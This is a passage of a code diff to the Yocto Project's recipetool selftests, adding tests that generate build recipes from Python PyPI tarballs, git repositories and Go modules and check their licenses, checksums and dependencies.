+ checkvars['SRC_URI[sha256sum]'] = 'c225b674c83fa923be93d235330ce0300373d02885cef23238813b0d5668304a'
+ inherits = ['python_setuptools_build_meta', 'pypi']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_poetry_core_masonry_api(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using poetry.core.masonry.api class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'iso8601'
+ pv = '2.1.0'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/b9/f3/ef59cee614d5e0accf6fd0cbba025b93b272e626ca89fb70a3e9187c5d15/%s-%s.tar.gz' % (pn, pv)
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'Simple module to parse ISO 8601 dates'
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=aab31f2ef7ba214a5a341eaa47a7f367'
+ checkvars['SRC_URI[sha256sum]'] = '6b1d3829ee8921c4301998c909f7829fa9ed3cbdac0d3b16af2d743aed1ba8df'
+ inherits = ['python_poetry_core', 'pypi']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_flit_core_buildapi(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using flit_core.buildapi class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'typing-extensions'
+ pv = '4.8.0'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/1f/7a/8b94bb016069caa12fc9f587b28080ac33b4fbb8ca369b98bc0a4828543e/typing_extensions-%s.tar.gz' % pv
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'Backported and Experimental Type Hints for Python 3.8+'
+ checkvars['LICENSE'] = set(['PSF-2.0'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=fcf6b249c2641540219a727f35d8d2c2'
+ checkvars['SRC_URI[sha256sum]'] = 'df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef'
+ inherits = ['python_flit_core', 'pypi']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_hatchling(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using hatchling class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'jsonschema'
+ pv = '4.19.1'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/e4/43/087b24516db11722c8687e0caf0f66c7785c0b1c51b0ab951dfde924e3f5/jsonschema-%s.tar.gz' % pv
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'An implementation of JSON Schema validation for Python'
+ checkvars['HOMEPAGE'] = 'https://github.com/python-jsonschema/jsonschema'
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 file://json/LICENSE;md5=9d4de43111d33570c8fe49b4cb0e01af'
+ checkvars['SRC_URI[sha256sum]'] = 'ec84cc37cfa703ef7cd4928db24f9cb31428a5d0fa77747b8b51a847458e0bbf'
+ inherits = ['python_hatchling', 'pypi']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_maturin(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using maturin class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'pydantic-core'
+ pv = '2.14.5'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/64/26/cffb93fe9c6b5a91c497f37fae14a4b073ecbc47fc36a9979c7aa888b245/pydantic_core-%s.tar.gz' % pv
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['HOMEPAGE'] = 'https://github.com/pydantic/pydantic-core'
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=ab599c188b4a314d2856b3a55030c75c'
+ checkvars['SRC_URI[sha256sum]'] = '6d30226dfc816dd0fdf120cae611dd2215117e4f9b124af8c60ab9093b6e8e71'
+ inherits = ['python_maturin', 'pypi']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_mesonpy(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using mesonpy class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'siphash24'
+ pv = '1.4'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/c2/32/b934a70592f314afcfa86c7f7e388804a8061be65b822e2aa07e573b6477/%s-%s.tar.gz' % (pn, pv)
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SRC_URI[sha256sum]'] = '7fd65e39b2a7c8c4ddc3a168a687f4610751b0ac2ebb518783c0cdfc30bec4a0'
+ inherits = ['python_mesonpy', 'pypi']
+
self._test_recipe_contents(recipefile, checkvars, inherits)
def test_recipetool_create_github_tarball(self):
- # Basic test to ensure github URL mangling doesn't apply to release tarballs
+ # Basic test to ensure github URL mangling doesn't apply to release tarballs.
+ # Deliberately use an older release of Meson at present so we don't need a toml parser.
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- pv = '0.32.0'
- recipefile = os.path.join(temprecipe, 'meson_%s.bb' % pv)
+ pv = '0.52.1'
+ recipefile = os.path.join(temprecipe, 'python3-meson_%s.bb' % pv)
srcuri = 'https://github.com/mesonbuild/meson/releases/download/%s/meson-%s.tar.gz' % (pv, pv)
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
@@ -513,27 +713,302 @@ class RecipetoolTests(RecipetoolBase):
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
- def test_recipetool_create_git_http(self):
+ def _test_recipetool_create_git(self, srcuri, branch=None):
# Basic test to check http git URL mangling works
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- recipefile = os.path.join(temprecipe, 'matchbox-terminal_git.bb')
- srcuri = 'http://git.yoctoproject.org/git/matchbox-terminal'
- result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ name = srcuri.split(';')[0].split('/')[-1]
+ recipefile = os.path.join(temprecipe, name + '_git.bb')
+ options = ' -B %s' % branch if branch else ''
+ result = runCmd('recipetool create -o %s%s "%s"' % (temprecipe, options, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SRC_URI'] = srcuri
+ for scheme in ['http', 'https']:
+ if srcuri.startswith(scheme + ":"):
+ checkvars['SRC_URI'] = 'git%s;protocol=%s' % (srcuri[len(scheme):], scheme)
+ if ';branch=' not in srcuri:
+ checkvars['SRC_URI'] += ';branch=' + (branch or 'master')
+ self._test_recipe_contents(recipefile, checkvars, [])
+
+ def test_recipetool_create_git_http(self):
+ self._test_recipetool_create_git('http://git.yoctoproject.org/git/matchbox-keyboard')
+
+ def test_recipetool_create_git_srcuri_master(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=master;protocol=https')
+
+ def test_recipetool_create_git_srcuri_branch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=matchbox-keyboard-0-1;protocol=https')
+
+ def test_recipetool_create_git_srcbranch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;protocol=https', 'matchbox-keyboard-0-1')
+
+ def _go_urifiy(self, url, version, modulepath = None, pathmajor = None, subdir = None):
+ modulepath = ",path='%s'" % modulepath if len(modulepath) else ''
+ pathmajor = ",pathmajor='%s'" % pathmajor if len(pathmajor) else ''
+ subdir = ",subdir='%s'" % subdir if len(subdir) else ''
+ return "${@go_src_uri('%s','%s'%s%s%s)}" % (url, version, modulepath, pathmajor, subdir)
+
+ def test_recipetool_create_go(self):
+ # Basic test to check go recipe generation
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+
+ recipefile = os.path.join(temprecipe, 'edgex-go_git.bb')
+ deps_require_file = os.path.join(temprecipe, 'edgex-go', 'edgex-go-modules.inc')
+ lics_require_file = os.path.join(temprecipe, 'edgex-go', 'edgex-go-licenses.inc')
+ modules_txt_file = os.path.join(temprecipe, 'edgex-go', 'modules.txt')
+
+ srcuri = 'https://github.com/edgexfoundry/edgex-go.git'
+ srcrev = "v3.0.0"
+ srcbranch = "main"
+
+ result = runCmd('recipetool create -o %s %s -S %s -B %s' % (temprecipe, srcuri, srcrev, srcbranch))
+
+ self.maxDiff = None
+ inherits = ['go-vendor']
+
+ checkvars = {}
+ checkvars['GO_IMPORT'] = "github.com/edgexfoundry/edgex-go"
+ checkvars['SRC_URI'] = {'git://${GO_IMPORT};destsuffix=git/src/${GO_IMPORT};nobranch=1;name=${BPN};protocol=https',
+ 'file://modules.txt'}
+ checkvars['LIC_FILES_CHKSUM'] = {'file://src/${GO_IMPORT}/LICENSE;md5=8f8bc924cf73f6a32381e5fd4c58d603'}
+
self.assertTrue(os.path.isfile(recipefile))
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ checkvars = {}
+ checkvars['VENDORED_LIC_FILES_CHKSUM'] = set(
+ ['file://src/${GO_IMPORT}/vendor/github.com/Microsoft/go-winio/LICENSE;md5=69205ff73858f2c22b2ca135b557e8ef',
+ 'file://src/${GO_IMPORT}/vendor/github.com/armon/go-metrics/LICENSE;md5=d2d77030c0183e3d1e66d26dc1f243be',
+ 'file://src/${GO_IMPORT}/vendor/github.com/cenkalti/backoff/LICENSE;md5=1571d94433e3f3aa05267efd4dbea68b',
+ 'file://src/${GO_IMPORT}/vendor/github.com/davecgh/go-spew/LICENSE;md5=c06795ed54b2a35ebeeb543cd3a73e56',
+ 'file://src/${GO_IMPORT}/vendor/github.com/eclipse/paho.mqtt.golang/LICENSE;md5=dcdb33474b60c38efd27356d8f2edec7',
+ 'file://src/${GO_IMPORT}/vendor/github.com/eclipse/paho.mqtt.golang/edl-v10;md5=3adfcc70f5aeb7a44f3f9b495aa1fbf3',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-bootstrap/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-configuration/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-core-contracts/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-messaging/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-registry/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-secrets/v3/LICENSE;md5=f9fa2f4f8e0ef8cc7b5dd150963eb457',
+ 'file://src/${GO_IMPORT}/vendor/github.com/fatih/color/LICENSE.md;md5=316e6d590bdcde7993fb175662c0dd5a',
+ 'file://src/${GO_IMPORT}/vendor/github.com/fxamacker/cbor/v2/LICENSE;md5=827f5a2fa861382d35a3943adf9ebb86',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-jose/go-jose/v3/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-jose/go-jose/v3/json/LICENSE;md5=591778525c869cdde0ab5a1bf283cd81',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-kit/log/LICENSE;md5=5b7c15ad5fffe2ff6e9d58a6c161f082',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-logfmt/logfmt/LICENSE;md5=98e39517c38127f969de33057067091e',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/locales/LICENSE;md5=3ccbda375ee345400ad1da85ba522301',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/universal-translator/LICENSE;md5=2e2b21ef8f61057977d27c727c84bef1',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/validator/v10/LICENSE;md5=a718a0f318d76f7c5d510cbae84f0b60',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-redis/redis/v7/LICENSE;md5=58103aa5ea1ee9b7a369c9c4a95ef9b5',
+ 'file://src/${GO_IMPORT}/vendor/github.com/golang/protobuf/LICENSE;md5=939cce1ec101726fa754e698ac871622',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gomodule/redigo/LICENSE;md5=2ee41112a44fe7014dce33e26468ba93',
+ 'file://src/${GO_IMPORT}/vendor/github.com/google/uuid/LICENSE;md5=88073b6dd8ec00fe09da59e0b6dfded1',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gorilla/mux/LICENSE;md5=33fa1116c45f9e8de714033f99edde13',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gorilla/websocket/LICENSE;md5=c007b54a1743d596f46b2748d9f8c044',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/consul/api/LICENSE;md5=b8a277a612171b7526e9be072f405ef4',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/errwrap/LICENSE;md5=b278a92d2c1509760384428817710378',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-cleanhttp/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-hclog/LICENSE;md5=ec7f605b74b9ad03347d0a93a5cc7eb8',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-immutable-radix/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-multierror/LICENSE;md5=d44fdeb607e2d2614db9464dbedd4094',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-rootcerts/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/golang-lru/LICENSE;md5=f27a50d2e878867827842f2c60e30bfc',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/serf/LICENSE;md5=b278a92d2c1509760384428817710378',
+ 'file://src/${GO_IMPORT}/vendor/github.com/leodido/go-urn/LICENSE;md5=8f50db5538ec1148a9b3d14ed96c3418',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mattn/go-colorable/LICENSE;md5=24ce168f90aec2456a73de1839037245',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mattn/go-isatty/LICENSE;md5=f509beadd5a11227c27b5d2ad6c9f2c6',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/consulstructure/LICENSE;md5=96ada10a9e51c98c4656f2cede08c673',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/copystructure/LICENSE;md5=56da355a12d4821cda57b8f23ec34bc4',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/go-homedir/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/mapstructure/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/reflectwalk/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nats.go/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nkeys/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nuid/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/pmezard/go-difflib/LICENSE;md5=e9a2ebb8de779a07500ddecca806145e',
+ 'file://src/${GO_IMPORT}/vendor/github.com/rcrowley/go-metrics/LICENSE;md5=1bdf5d819f50f141366dabce3be1460f',
+ 'file://src/${GO_IMPORT}/vendor/github.com/spiffe/go-spiffe/v2/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/stretchr/objx/LICENSE;md5=d023fd31d3ca39ec61eec65a91732735',
+ 'file://src/${GO_IMPORT}/vendor/github.com/stretchr/testify/LICENSE;md5=188f01994659f3c0d310612333d2a26f',
+ 'file://src/${GO_IMPORT}/vendor/github.com/x448/float16/LICENSE;md5=de8f8e025d57fe7ee0b67f30d571323b',
+ 'file://src/${GO_IMPORT}/vendor/github.com/zeebo/errs/LICENSE;md5=84914ab36fc0eb48edbaa53e66e8d326',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/crypto/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/mod/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/net/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/sync/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/sys/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/text/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/tools/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/genproto/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/grpc/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/protobuf/LICENSE;md5=02d4002e9171d41a8fad93aa7faf3956',
+ 'file://src/${GO_IMPORT}/vendor/gopkg.in/eapache/queue.v1/LICENSE;md5=1bfd4408d3de090ef6b908b0cc45a316',
+ 'file://src/${GO_IMPORT}/vendor/gopkg.in/yaml.v3/LICENSE;md5=3c91c17266710e16afdbb2b6d15c761c'])
+
+ self.assertTrue(os.path.isfile(lics_require_file))
+ self._test_recipe_contents(lics_require_file, checkvars, [])
+
+ dependencies = \
+ [ ('github.com/eclipse/paho.mqtt.golang','v1.4.2', '', '', ''),
+ ('github.com/edgexfoundry/go-mod-bootstrap','v3.0.1','github.com/edgexfoundry/go-mod-bootstrap/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-configuration','v3.0.0','github.com/edgexfoundry/go-mod-configuration/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-core-contracts','v3.0.0','github.com/edgexfoundry/go-mod-core-contracts/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-messaging','v3.0.0','github.com/edgexfoundry/go-mod-messaging/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-secrets','v3.0.1','github.com/edgexfoundry/go-mod-secrets/v3','/v3', ''),
+ ('github.com/fxamacker/cbor','v2.4.0','github.com/fxamacker/cbor/v2','/v2', ''),
+ ('github.com/gomodule/redigo','v1.8.9', '', '', ''),
+ ('github.com/google/uuid','v1.3.0', '', '', ''),
+ ('github.com/gorilla/mux','v1.8.0', '', '', ''),
+ ('github.com/rcrowley/go-metrics','v0.0.0-20201227073835-cf1acfcdf475', '', '', ''),
+ ('github.com/spiffe/go-spiffe','v2.1.4','github.com/spiffe/go-spiffe/v2','/v2', ''),
+ ('github.com/stretchr/testify','v1.8.2', '', '', ''),
+ ('go.googlesource.com/crypto','v0.8.0','golang.org/x/crypto', '', ''),
+ ('gopkg.in/eapache/queue.v1','v1.1.0', '', '', ''),
+ ('gopkg.in/yaml.v3','v3.0.1', '', '', ''),
+ ('github.com/microsoft/go-winio','v0.6.0','github.com/Microsoft/go-winio', '', ''),
+ ('github.com/hashicorp/go-metrics','v0.3.10','github.com/armon/go-metrics', '', ''),
+ ('github.com/cenkalti/backoff','v2.2.1+incompatible', '', '', ''),
+ ('github.com/davecgh/go-spew','v1.1.1', '', '', ''),
+ ('github.com/edgexfoundry/go-mod-registry','v3.0.0','github.com/edgexfoundry/go-mod-registry/v3','/v3', ''),
+ ('github.com/fatih/color','v1.9.0', '', '', ''),
+ ('github.com/go-jose/go-jose','v3.0.0','github.com/go-jose/go-jose/v3','/v3', ''),
+ ('github.com/go-kit/log','v0.2.1', '', '', ''),
+ ('github.com/go-logfmt/logfmt','v0.5.1', '', '', ''),
+ ('github.com/go-playground/locales','v0.14.1', '', '', ''),
+ ('github.com/go-playground/universal-translator','v0.18.1', '', '', ''),
+ ('github.com/go-playground/validator','v10.13.0','github.com/go-playground/validator/v10','/v10', ''),
+ ('github.com/go-redis/redis','v7.3.0','github.com/go-redis/redis/v7','/v7', ''),
+ ('github.com/golang/protobuf','v1.5.2', '', '', ''),
+ ('github.com/gorilla/websocket','v1.4.2', '', '', ''),
+ ('github.com/hashicorp/consul','v1.20.0','github.com/hashicorp/consul/api', '', 'api'),
+ ('github.com/hashicorp/errwrap','v1.0.0', '', '', ''),
+ ('github.com/hashicorp/go-cleanhttp','v0.5.1', '', '', ''),
+ ('github.com/hashicorp/go-hclog','v0.14.1', '', '', ''),
+ ('github.com/hashicorp/go-immutable-radix','v1.3.0', '', '', ''),
+ ('github.com/hashicorp/go-multierror','v1.1.1', '', '', ''),
+ ('github.com/hashicorp/go-rootcerts','v1.0.2', '', '', ''),
+ ('github.com/hashicorp/golang-lru','v0.5.4', '', '', ''),
+ ('github.com/hashicorp/serf','v0.10.1', '', '', ''),
+ ('github.com/leodido/go-urn','v1.2.3', '', '', ''),
+ ('github.com/mattn/go-colorable','v0.1.12', '', '', ''),
+ ('github.com/mattn/go-isatty','v0.0.14', '', '', ''),
+ ('github.com/mitchellh/consulstructure','v0.0.0-20190329231841-56fdc4d2da54', '', '', ''),
+ ('github.com/mitchellh/copystructure','v1.2.0', '', '', ''),
+ ('github.com/mitchellh/go-homedir','v1.1.0', '', '', ''),
+ ('github.com/mitchellh/mapstructure','v1.5.0', '', '', ''),
+ ('github.com/mitchellh/reflectwalk','v1.0.2', '', '', ''),
+ ('github.com/nats-io/nats.go','v1.25.0', '', '', ''),
+ ('github.com/nats-io/nkeys','v0.4.4', '', '', ''),
+ ('github.com/nats-io/nuid','v1.0.1', '', '', ''),
+ ('github.com/pmezard/go-difflib','v1.0.0', '', '', ''),
+ ('github.com/stretchr/objx','v0.5.0', '', '', ''),
+ ('github.com/x448/float16','v0.8.4', '', '', ''),
+ ('github.com/zeebo/errs','v1.3.0', '', '', ''),
+ ('go.googlesource.com/mod','v0.8.0','golang.org/x/mod', '', ''),
+ ('go.googlesource.com/net','v0.9.0','golang.org/x/net', '', ''),
+ ('go.googlesource.com/sync','v0.1.0','golang.org/x/sync', '', ''),
+ ('go.googlesource.com/sys','v0.7.0','golang.org/x/sys', '', ''),
+ ('go.googlesource.com/text','v0.9.0','golang.org/x/text', '', ''),
+ ('go.googlesource.com/tools','v0.6.0','golang.org/x/tools', '', ''),
+ ('github.com/googleapis/go-genproto','v0.0.0-20230223222841-637eb2293923','google.golang.org/genproto', '', ''),
+ ('github.com/grpc/grpc-go','v1.53.0','google.golang.org/grpc', '', ''),
+ ('go.googlesource.com/protobuf','v1.28.1','google.golang.org/protobuf', '', ''),
+ ]
+
+ src_uri = set()
+ for d in dependencies:
+ src_uri.add(self._go_urifiy(*d))
+
checkvars = {}
- checkvars['LICENSE'] = set(['GPLv2'])
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/matchbox-terminal;protocol=http'
- inherits = ['pkgconfig', 'autotools']
+ checkvars['GO_DEPENDENCIES_SRC_URI'] = src_uri
+
+ self.assertTrue(os.path.isfile(deps_require_file))
+ self._test_recipe_contents(deps_require_file, checkvars, [])
+
+ def test_recipetool_create_go_replace_modules(self):
+ # Check handling of replaced modules
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+
+ recipefile = os.path.join(temprecipe, 'openapi-generator_git.bb')
+ deps_require_file = os.path.join(temprecipe, 'openapi-generator', 'go-modules.inc')
+ lics_require_file = os.path.join(temprecipe, 'openapi-generator', 'go-licenses.inc')
+ modules_txt_file = os.path.join(temprecipe, 'openapi-generator', 'modules.txt')
+
+ srcuri = 'https://github.com/OpenAPITools/openapi-generator.git'
+ srcrev = "v7.2.0"
+ srcbranch = "master"
+ srcsubdir = "samples/openapi3/client/petstore/go"
+
+ result = runCmd('recipetool create -o %s %s -S %s -B %s --src-subdir %s' % (temprecipe, srcuri, srcrev, srcbranch, srcsubdir))
+
+ self.maxDiff = None
+ inherits = ['go-vendor']
+
+ checkvars = {}
+ checkvars['GO_IMPORT'] = "github.com/OpenAPITools/openapi-generator/samples/openapi3/client/petstore/go"
+ checkvars['SRC_URI'] = {'git://${GO_IMPORT};destsuffix=git/src/${GO_IMPORT};nobranch=1;name=${BPN};protocol=https',
+ 'file://modules.txt'}
+
+ self.assertNotIn('Traceback', result.output)
+ self.assertIn('No license file was detected for the main module', result.output)
+ self.assertTrue(os.path.isfile(recipefile))
self._test_recipe_contents(recipefile, checkvars, inherits)
+ # make sure that dependencies don't mention local directory ./go-petstore
+ dependencies = \
+ [ ('github.com/stretchr/testify','v1.8.4', '', '', ''),
+ ('go.googlesource.com/oauth2','v0.10.0','golang.org/x/oauth2', '', ''),
+ ('github.com/davecgh/go-spew','v1.1.1', '', '', ''),
+ ('github.com/golang/protobuf','v1.5.3', '', '', ''),
+ ('github.com/kr/pretty','v0.3.0', '', '', ''),
+ ('github.com/pmezard/go-difflib','v1.0.0', '', '', ''),
+ ('github.com/rogpeppe/go-internal','v1.9.0', '', '', ''),
+ ('go.googlesource.com/net','v0.12.0','golang.org/x/net', '', ''),
+ ('github.com/golang/appengine','v1.6.7','google.golang.org/appengine', '', ''),
+ ('go.googlesource.com/protobuf','v1.31.0','google.golang.org/protobuf', '', ''),
+ ('gopkg.in/check.v1','v1.0.0-20201130134442-10cb98267c6c', '', '', ''),
+ ('gopkg.in/yaml.v3','v3.0.1', '', '', ''),
+ ]
+
+ src_uri = set()
+ for d in dependencies:
+ src_uri.add(self._go_urifiy(*d))
+
+ checkvars = {}
+ checkvars['GO_DEPENDENCIES_SRC_URI'] = src_uri
+
+ self.assertTrue(os.path.isfile(deps_require_file))
+ self._test_recipe_contents(deps_require_file, checkvars, [])
+
+class RecipetoolTests(RecipetoolBase):
+
+ @classmethod
+ def setUpClass(cls):
+ import sys
+
+ super(RecipetoolTests, cls).setUpClass()
+ bb_vars = get_bb_vars(['BBPATH'])
+ cls.bbpath = bb_vars['BBPATH']
+ libpath = os.path.join(get_bb_var('COREBASE'), 'scripts', 'lib', 'recipetool')
+ sys.path.insert(0, libpath)
+
def _copy_file_with_cleanup(self, srcfile, basedstdir, *paths):
dstdir = basedstdir
self.assertTrue(os.path.exists(dstdir))
for p in paths:
dstdir = os.path.join(dstdir, p)
if not os.path.exists(dstdir):
- os.makedirs(dstdir)
+ try:
+ os.makedirs(dstdir)
+ except PermissionError:
+ return False
+ except OSError as e:
+ if e.errno == errno.EROFS:
+ return False
+ else:
+ raise e
if p == "lib":
# Can race with other tests
self.add_command_to_tearDown('rmdir --ignore-fail-on-non-empty %s' % dstdir)
@@ -541,8 +1016,12 @@ class RecipetoolTests(RecipetoolBase):
self.track_for_cleanup(dstdir)
dstfile = os.path.join(dstdir, os.path.basename(srcfile))
if srcfile != dstfile:
- shutil.copy(srcfile, dstfile)
+ try:
+ shutil.copy(srcfile, dstfile)
+ except PermissionError:
+ return False
self.track_for_cleanup(dstfile)
+ return True
def test_recipetool_load_plugin(self):
"""Test that recipetool loads only the first found plugin in BBPATH."""
@@ -556,20 +1035,147 @@ class RecipetoolTests(RecipetoolBase):
plugincontent = fh.readlines()
try:
self.assertIn('meta-selftest', srcfile, 'wrong bbpath plugin found')
- for path in searchpath:
- self._copy_file_with_cleanup(srcfile, path, 'lib', 'recipetool')
+ searchpath = [
